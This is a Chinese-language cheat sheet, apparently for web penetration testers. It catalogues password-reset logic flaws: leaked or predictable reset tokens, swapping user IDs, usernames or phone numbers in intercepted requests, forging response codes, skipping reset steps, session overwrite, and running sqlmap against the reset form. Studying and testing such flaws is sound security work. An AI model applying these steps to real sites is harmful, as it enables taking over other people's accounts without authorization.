抓包,可以發現返回的數據中有一個加密的字符串(token),先記錄下這個加密字符串
繼續按照正常流程,登錄郵箱獲得驗證碼,返回填寫驗證碼后,進入下一個填寫新密碼頁面,發現 URL 后新增了一個加密驗證的字符串
這個字符串就是之前數據包中記錄的字符串,所以郵箱驗證碼這個環節可以繞過,直接用他人郵箱抓包獲得加密字符串就可以重置他人密碼
根據手機號找回密碼,抓包,可以發現驗證碼直接顯示 verifycode=xxxx,或者由 md5 加密后顯示,解密即可(同理,有的時候輸入用戶名,抓包可以看到返回的手機號等其他信息)
根據郵箱找回密碼,抓包直接返回,密碼找回憑證可能在頁面中
例如: 利用兩個帳號同時點擊找回密碼,去郵箱查看找回密碼的鏈接,發現兩者的隨機 token 只差1-2,而且可以猜測出為服務器時間 所以可以用一個未知帳號和一個已知帳號同時點擊找回密碼,稍微遍歷一下隨機 token,就可以構造出未知帳號的密碼找回鏈接 例如: 通過郵箱找回密碼,正常流程去郵箱查看重置密碼鏈接,發現鏈接處有一串 md5 加密字符串 字符串解密,類似 1491293277(10位),可以判斷為 Unix時間戳,(可能md5) 重置他人密碼只需要利用他人郵箱發送重置密碼郵箱,在短時間內對 Unix時間戳 進行暴力破解,即可獲得重置密碼的鏈接 重置密碼鏈接直接使用用戶名來區別,改變用戶名即可更改他人密碼
繞過token
正常流程下,對每個功能模塊進行抓包,分別是發送驗證碼,驗證驗證碼是否正確,獲取 token,重置密碼
接下來,用他人帳號通過郵箱驗證,抓包,將其中 Cookie 內從 JSESSIONID 開始的內容替換至正常流程的發生驗證碼包內,同時替換自己接受驗證碼的郵箱,提交
通過郵箱獲取驗證碼后,將驗證碼、Cookie、他人帳號、自己郵箱替換至驗證驗證碼模塊,提交(不用在意返回是否錯誤)
繼續替換內至獲取 token 模塊,提交獲取 token
最后將獲取的 token 和上面的內容替換至最后的重置密碼模塊,提交成功修改密碼
例如: 通過郵箱找回密碼,訪問鏈接重置密碼,輸入新密碼后提交時抓包,雖然有 token,但是依然可以直接修改 用戶ID 進而修改他人密碼 例如: 通過他人手機號找回密碼,抓包,將他人手機號替換成自己的手機號,獲取驗證碼,提交后修改密碼 通過自己手機號找回密碼,獲取驗證碼后抓包,將數據包中的 username 改為他人用戶名,提交后成功修改他人密碼
短信驗證碼、郵箱 token、重置密碼 token
例如: 通過郵箱找回密碼,URL 鏈接中修改 用戶ID 為他人,郵箱不變,之后通過鏈接可以將他人賬戶綁定為自己的郵箱,之后通過郵箱找回密碼 例如: 給已知賬戶綁定手機,發現綁定手機的 URL 鏈接中有 uid 參數,修改 uid 參數為他人的,即可實現將他人的賬戶綁定上自己的手機,之后通過手機來修改密碼 修改個人資料處抓包,修改 userId 為他人,修改 mobilePhone 為自己的手機,即可實現將他人的賬戶綁定上自己的手機,之后通過手機來修改密碼
手機綁定、郵箱綁定
例如: 通過密碼保護問題找回密碼,抓包,將密碼保護問題刪除,直接修改密碼,提交 注:此處密保問題和新密碼在同一頁面 例如: 正常流程,通過手機號提交驗證碼找回密碼處抓包,記錄下這個包的內容 通過已知用戶名找回密碼,查看源代碼可以發現用戶其他信息(比如:手機號、郵箱) 通過發現的手機號選擇通過手機找回密碼,隨便輸入短信驗證碼,抓包 修改之前記錄下的包的內容,將其中 Session id、用戶ID 修改為剛剛從其他用戶名抓包獲得的內容,提交這個包,即可成功修改他人密碼
最終提交步驟
例如: 通過郵箱找回密碼,最后通過鏈接至修改密碼頁面,修改密碼后提交,抓包,獲得 Uid參數,修改為他人,即可修改其他用戶密碼
服務器驗證的驗證邏輯為空(繞過認證)
例如: 通過郵箱找回密碼,點擊請重新發送郵件處抓包,將郵箱改為自己的郵箱,通過鏈接成功修改密碼 例如: 通過手機找回密碼,輸入驗證碼和新的密碼,F12 審查元素,修改自己的手機為他人手機,提交成功修改他人手機(也可以抓包修改) 例如: 正常流程下,密碼找回,查看最后設置新密碼頁面的 URL,記錄下來 繼續返回密碼找回處,輸入其他用戶名,提交找回申請,直接訪問上面記錄下的修改密碼頁面,成功修改密碼 也可以正常流程下,修改密碼頁面抓包,修改其中的 USERNAME_COOKIE 為其他用戶(有可能會經過編碼,比如 base64),提交即可修改其他用戶密碼 如果抓包其中有 step 參數,可以修改這個參數為最后一步(比如:5),提交便可略過之前的步驟 跳過驗證步驟、找回方式、直接到設置新密碼頁面 例如: 通過用戶名找回密碼,提交后會自動發送驗證碼到手機中,所以抓包,修改手機為自己的手機(如果其中有 type 之類的參數,也可以嘗試修改,有 email之類的參數,可以嘗試刪除內容) 發送修改后的包,手機成功接收驗證碼 輸入驗證碼,繼續發送,抓包,如果有 type 之類的參數,可以繼續嘗試修改,發送就可以成功修改密碼 例如: 通過手機找回密碼,隨便輸入驗證碼,抓包,發送,攔截返回包 修改返回包中的返回碼,繼續發送,說不定就可以繞過驗證,直接跳到修改密碼的頁面 通過手機找回密碼,正常流程下到重置密碼頁面,抓包查看返回數據中有一段加密字符串 利用他人手機找回密碼,URL 跳轉到驗證身份頁面,鏈接中就有一段加密字符串,記錄下,隨便輸入驗證碼 抓包,修改包中數據為正常流程下的數據,替換加密字符串, Forward 發送,就可以繞過驗證碼,直接修改密碼
輸入用戶名,加個單引號報錯,說明可能存在報錯,抓包,保存為 txt 文件,導入 Sqlmap 中跑一遍
找回密碼處存在注入漏洞(見框就×)
通過郵箱找回密碼,正常流程下,抓包查看提交驗證碼后返回的數據,發現有加密字符串,這個加密字符串和后面重新設置新密碼 URL 鏈接中的加密字符串一樣,所以可以利用這個加密字符串
根據上面提交驗證碼的抓包,修改其中的 User 為其他用戶(User 有可能會使用 md5 加密),發送,就可以返回其他用戶的加密字符串
重新返回到找回密碼首頁,利用其他用戶找回,點下一步,到輸入驗證碼處(也有可能需要點擊發送驗證碼),直接修改 URL 鏈接,加入加密字符串,可以直接繞過驗證碼,重置密碼
session覆蓋漏洞
注冊重復的用戶名,例如 admin,相當於修改了密碼
同一瀏覽器,首先輸入自己的賬戶進行郵箱密碼找回,進入郵箱查看鏈接,接着輸入他人賬戶,進行密碼找回,返回剛剛自己的郵箱點擊鏈接,由於 session 覆蓋導致了,這個鏈接成為了修改他人密碼的鏈接,成功修改他人密碼
嘗試正常密碼找回流程
選擇不同的找回方式,記錄所有數據包
郵箱找回密碼
根據密碼保護問題找回密碼
根據手機號找回密碼
分析數據包,找出敏感部分
分析后台找回機制所采用的驗證手段
修改數據包進行驗證是否存在密碼找回漏洞